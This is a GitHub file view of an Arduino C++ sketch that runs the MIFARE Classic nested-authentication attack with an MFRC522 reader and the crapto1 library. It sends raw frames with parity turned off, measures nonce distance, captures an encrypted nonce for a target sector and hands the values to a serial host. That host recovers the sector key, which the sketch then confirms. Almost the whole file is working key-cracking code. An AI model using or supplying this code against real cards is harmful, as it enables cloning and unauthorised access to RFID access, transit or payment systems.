-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
528 lines (402 loc) · 15.2 KB
/
main.cpp
File metadata and controls
528 lines (402 loc) · 15.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
#include <Arduino.h>
#include <SPI.h>
#include <MFRC522.h>
#include <crapto1.h>
#define RST_PIN 9
#define SS_PIN 10
#define PARITY_ON 0x00
#define PARITY_OFF 0x10
/*This should be the sector (block/4) you know a key for already. */
#define KNOWN_BLOCK 0
/* This is the sector that you are wanting to attack.*/
#define ATTACK_BLOCK 63
MFRC522 mfrc522(SS_PIN, RST_PIN); // Create MFRC522 instance.
void setup() {
Serial.begin(115200); // Initialize serial communications with the PC
while (!Serial); // Do nothing if no serial port is opened (added for Arduinos based on ATMEGA32U4)
SPI.begin(); // Init SPI bus
mfrc522.PCD_Init(); // Init MFRC522 card
}
/*
A helper function that turns an array of bytes/uint8_t's into a uint64_t
*/
uint64_t bytesToInt( byte *intBuffer, byte nrOfBytes )
{
uint64_t nr = 0;
for( int i = 0; i<nrOfBytes; i++ )
{
nr = ( (nr<<8) | intBuffer[i] );
}
return nr;
}
// end bytesToInt
/*
Generate parity-bits required for raw-frame transport
*/
byte oddparity(const byte bt)
{
return (0x9669 >> ((bt ^(bt >> 4)) & 0xF)) & 1;
}
// end oddparity
/*
Helper function that will pack the raw frame if you provide data, length, paritybits, and a buffer for the resultant frame.
*/
byte makeRawFrame( byte *data, byte dataLen, byte *parityBits, byte *packet )
{
// data sent to FIFO LSB first
packet[0] = data[0];
packet[1] = ( parityBits[0] | (data[1]<<1) );
int i;
for( i = 2; i< dataLen; i++ )
{
packet[i] = ( (parityBits[i-1]<<(i-1) ) | (data[i-1]>>(9-i) ) );
packet[i] |= (data[i]<<i);
}
packet[dataLen] = ( (parityBits[dataLen-1]<<(i-1)) | (data[dataLen-1]>>(9-i) ) );
return dataLen%8;
}
//end makeRawFrame
/*
Helper function that unpacks an incoming frame into a byte buffer.
*/
void extractData( byte *packet, byte len, byte *parityBits, byte *data )
{
data[0] = packet[0];
int i;
for( i = 1; i<len-1; i++)
{
parityBits[i-1] = ( packet[i] & (1<<(i-1)) )>>(i-1);
data[i] = (packet[i]>>i) | (packet[i+1]<<(8-i));
}
parityBits[i-1] = (packet[i] & (1<<(i-1)) )>>(i-1);
}
/* global vars */
struct Crypto1State *keystream;
uint32_t cardPrngState = 0;
uint32_t Nt_as_captured = 0;
int ack;
/*
Full reset of reader and card and our states.
*/
void reset(){
cardPrngState = 0;
if (keystream) {
free(keystream);
keystream = nullptr;
}
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_ON);
mfrc522.PCD_StopCrypto1();
mfrc522.PICC_HaltA();
if ( ! mfrc522.PICC_IsNewCardPresent())
return;
if ( ! mfrc522.PICC_ReadCardSerial())
return;
}
/*
Simple serial read blocker
*/
bool waitreply(){
while (Serial.available() == 0){
//wait for reply
}
ack = Serial.read();
if (ack != 0x01) {
Serial.println("wrong ack!");
return false;
}
else{return true;}
}
/*
Regular authentication request.
*/
bool regularAuth(int block, MFRC522::PICC_Command command, uint32_t uid, byte key[6]) {
MFRC522::StatusCode status;
byte packet[9];
byte parity_bits[8];
byte data[8];
byte backData[9];
byte backLen = 5;
//turn off parity
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_OFF);
data[0] = command;
data[1] = block;
mfrc522.PCD_CalculateCRC(data, 2, &data[2]);
for (int i = 0 ; i < 4 ; i++){
parity_bits[i] = oddparity(data[i]);
}
byte validBits = makeRawFrame(data, 4, parity_bits, packet);
status = mfrc522.PCD_TransceiveData(packet, 5, backData, &backLen, &validBits, 0, false);
if (status > 0){
Serial.println("myAuth PCD_Transceive 1 failed");
Serial.println(status);
return false;
}
extractData(backData, 5, parity_bits, data);
cardPrngState = bytesToInt(data, 4);
Nt_as_captured = bytesToInt(data, 4);
byte Nr[4] = {0x00};
uint64_t sectorKey = bytesToInt( key, 6);
keystream = crypto1_create(sectorKey);
crypto1_word(keystream, cardPrngState ^ uid, 0); //mix in Nt and UID.
for (int i = 0 ; i < 4 ; i++){
data[i] = crypto1_byte(keystream, Nr[i], 0) ^ Nr[i]; //encrypt Nr; ciphertext = keystream XOR plaintext;
parity_bits[i] = filter(keystream->odd) ^ oddparity(Nr[i]);
}
cardPrngState = prng_successor(cardPrngState, 32);
for (int i = 4; i < 8; i++){
cardPrngState = prng_successor(cardPrngState, 8);
data[i] = crypto1_byte(keystream, 0x00, 0) ^ (cardPrngState & 0xFF); //encrypt Ar
parity_bits[i] = filter(keystream->odd) ^ oddparity(cardPrngState & 0xFF);
}
backLen = 5;
validBits = makeRawFrame(data, 8, parity_bits, packet);
status = mfrc522.PCD_TransceiveData(packet, 9, backData, &backLen, &validBits, 0, false);
if (status > 0){
Serial.println("myAuth PCD_Transceive 2 failed");
Serial.println(status);
return false;
}
extractData( backData, 5, parity_bits, data);
uint32_t At_enc = bytesToInt(data, 4);
uint32_t ks1 = crypto1_word(keystream,0x00,0);
cardPrngState = prng_successor(cardPrngState, 32);
uint32_t At_decrypted = At_enc ^ ks1;
uint32_t At_expected = prng_successor(Nt_as_captured, 96);
if(At_decrypted != At_expected){
// Serial.println("At_decrypted differs from At_expected");
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_ON);
return false;
}
return true;
} // end regularAuth
/*
Function used to calculate average nonce distance. Between two auth-requests there is a calculable change between the nonces dependant on the time between the two-auth requests. This function takes the median over 15 requests. It is important to get this right, or you will never generate the key later on.
*/
bool nonce_distance_Auths(int block, MFRC522::PICC_Command command, uint32_t uid, byte key[6]) {
uint32_t newNonce;
uint32_t encNonce;
uint32_t At;
for (int i = 0 ; i < 15 ; i++){
reset();
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_OFF);
if( !(regularAuth(block, command, uid, key))){
Serial.println("nonce_distance_auth regular auth failed");
//turn on parity
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_ON);
return false;
};
MFRC522::StatusCode status;
byte packet[9];
byte parity_bits[8];
byte data[8];
byte backData[9];
byte backLen = 5;
data[0] = command;
data[1] = block;
mfrc522.PCD_CalculateCRC(data, 2, &data[2]);
for (int i = 0 ; i < 4 ; i++){
byte plain = data[i];
data[i] = crypto1_byte(keystream, 0x00, 0) ^ plain;
parity_bits[i] = filter(keystream->odd) ^ oddparity(plain);
}
byte validBits = makeRawFrame(data, 4, parity_bits, packet);
status = mfrc522.PCD_TransceiveData(packet, 5, backData, &backLen, &validBits, 0, false);
if (status > 0){
Serial.println("secondAuth PCD_Transceive 1 failed");
Serial.println(status);
//turn on parity
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_ON);
return false;
}
extractData(backData, 5, parity_bits, data);
encNonce = bytesToInt(data,4);
//reset keystream
if (keystream){
free(keystream);
keystream = nullptr;
}
uint64_t sectorKey = bytesToInt(key, 6);
keystream = crypto1_create(sectorKey);
newNonce = encNonce ^ crypto1_word(keystream, encNonce ^ uid, 1); //decrypt nonce.
/*
------------------------------------------------------------------------------------------------------------------------------
C++ SECTION
*/
Serial.print("NONCE");Serial.print(i, HEX);Serial.println(newNonce);
if (!waitreply()){printf("error nonce");return false;}
Serial.print("STATE");Serial.println(cardPrngState);
if (!waitreply()){printf("error state");return false;}
Serial.println("DISTANCE");
if (!waitreply()){printf("error distance");return false;}
/*
------------------------------------------------------------------------------------------------------------------------------
C++ SECTION
*/
byte Nr[4] = {0};
//encrypt Nr
for (int i = 0 ; i < 4 ; i++){
data[i] = crypto1_byte(keystream, Nr[i], 0) ^ Nr[i];
parity_bits[i] = filter(keystream->odd) ^ oddparity(Nr[i]);
}
cardPrngState = prng_successor(newNonce, 32); // update current nonce
//Encrypt Ar.
for (int i = 4 ; i < 8 ; i++){
cardPrngState = prng_successor(cardPrngState, 8);
data[i] = crypto1_byte(keystream,0x00,0) ^ (cardPrngState & 0xFF);
parity_bits[i] = filter(keystream->odd) ^ oddparity(cardPrngState & 0xFF);
}
backLen = 5;
validBits = makeRawFrame(data, 8, parity_bits, packet);
status = mfrc522.PCD_TransceiveData(packet, 9, backData, &backLen, &validBits, 0, false);
if (status > 0){
Serial.println("Nah2");
Serial.println(status);
//turn on parity
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_ON);
return false;
}
extractData (backData, 5, parity_bits, data);
cardPrngState = prng_successor(cardPrngState, 32);
At = bytesToInt(data, 4);
uint32_t ks1 = crypto1_word(keystream,0x00,0);
uint32_t plainAt = At ^ ks1;
if ((plainAt) != (cardPrngState) ){
Serial.println("plainAt does not match prngstate");
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_ON);
return false;
}
}
/*
------------------------------------------------------------------------------------------------------------------------------
C++ SECTION
*/
Serial.println("MEDIAN");
if (!waitreply()){printf("error median");return false;}
/*
------------------------------------------------------------------------------------------------------------------------------
C++ SECTION
*/
//turn on parity
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_ON);
return true;
} //end nonce_distance_Auths
/*
This function drives the actual nested-auth request. First it establishes a normal authentication, and then carries out a slightly modified
*/
bool nestedAuth(int knownblock, int attackblock, MFRC522::PICC_Command command, uint32_t uid, byte key[6], uint32_t* encNt, byte nonceParity[3]){
//turn off parity
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_OFF);
//get a fresh auth-state.
if( !(regularAuth(knownblock, MFRC522::PICC_CMD_MF_AUTH_KEY_A, uid, key))){
Serial.println("myAuth within thirdAuth failed.");
return false;
}
MFRC522::StatusCode status;
byte packet[9];
byte parity_bits[8];
byte data[8];
byte backData[9];
byte backLen = 5;
data[0] = command;
data[1] = attackblock; //important
//encrypt the authentication request using the parameters of the current session
mfrc522.PCD_CalculateCRC(data, 2, &data[2]);
for (int i = 0 ; i < 4 ; i++){
byte plain = data[i];
data[i] = crypto1_byte(keystream, 0x00, 0) ^ plain;
parity_bits[i] = filter(keystream->odd) ^ oddparity(plain);
}
byte validBits = makeRawFrame(data, 4, parity_bits, packet);
status = mfrc522.PCD_TransceiveData(packet, 5, backData, &backLen, &validBits, 0, false);
if (status > 0){
Serial.println("thirdAuth encrypted PCD_Transceive failed");
Serial.println(status);
//turn on parity
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_ON);
return false;
}
extractData(backData, 5, parity_bits, data);
*encNt = bytesToInt(data,4);
for (int i = 0 ; i < 3 ; i++){
nonceParity[i] = (oddparity(data[i]) != parity_bits[i]);
}
/*
byte keyF[6] = {0xff,0xff,0xff,0xff,0xff,0xff};
struct Crypto1State *t = crypto1_create(bytesToInt(keyF, 6));
ntF = *encNt ^ crypto1_word(t, *encNt ^ uid, 1);
free(t);
*/
//turn on parity
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_ON);
return true;
}
void loop() {
uint32_t encNt;
byte nonceParity[3];
cardPrngState = 0;
uint8_t keybuffer[6] = {0};
uint32_t uid = bytesToInt(mfrc522.uid.uidByte, 4);
byte key[6] = {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5};
// Reset the loop if no new card present on the sensor/reader. This saves the entire process when idle.
if ( ! mfrc522.PICC_IsNewCardPresent())
return;
// Select one of the cards
if ( ! mfrc522.PICC_ReadCardSerial())
return;
// Check if the supplied parameters even work.
if( !(regularAuth(KNOWN_BLOCK, MFRC522::PICC_CMD_MF_AUTH_KEY_A, uid, key))){
Serial.println("no");
goto cleanup;
};
//Get nonce-distance
if (!(nonce_distance_Auths(KNOWN_BLOCK, MFRC522::PICC_CMD_MF_AUTH_KEY_A, uid, key))){
Serial.println("no1");
goto cleanup;
}
reset();
//prepare for nested-auth
encNt = 0;
nonceParity[3] = {0};
if( !(nestedAuth(KNOWN_BLOCK, ATTACK_BLOCK, MFRC522::PICC_CMD_MF_AUTH_KEY_A, uid, key, &encNt, nonceParity))){
Serial.println("no3");
goto cleanup;
}
//send over vars of interest
Serial.print("StateNt");Serial.println(cardPrngState);
if (!waitreply()){goto cleanup;}
Serial.print("Nt");Serial.println(Nt_as_captured);
if (!waitreply()){goto cleanup;}
Serial.print("encNt");Serial.println(encNt);
if (!waitreply()){goto cleanup;}
Serial.print("nonceParity");for (int i = 0 ; i < 3 ; i ++){Serial.print(nonceParity[i]);};Serial.println();
if (!waitreply()){goto cleanup;}
Serial.print("UID");Serial.println(uid);
if (!waitreply()){goto cleanup;}
Serial.println("CALC");
if (!waitreply()){goto cleanup;}
Serial.println("FIND");
while (Serial.available() == 0){
//wait for reply
}
Serial.readBytes(keybuffer,6);
reset();
if( !(regularAuth(ATTACK_BLOCK, MFRC522::PICC_CMD_MF_AUTH_KEY_A, uid, keybuffer))){
// Serial.println("Key not successful\n");
goto cleanup;
}
else {
Serial.println("Found key!!!\n");
for (int i = 0 ; i < 6 ; i++){
Serial.print(keybuffer[i], HEX);
Serial.println();
}
exit(0);
}
cleanup:
Serial.println("CLEANUP");
//turn on parity
mfrc522.PCD_WriteRegister(MFRC522::MfRxReg, PARITY_ON);
mfrc522.PCD_StopCrypto1();
mfrc522.PICC_HaltA();
delay(10);
}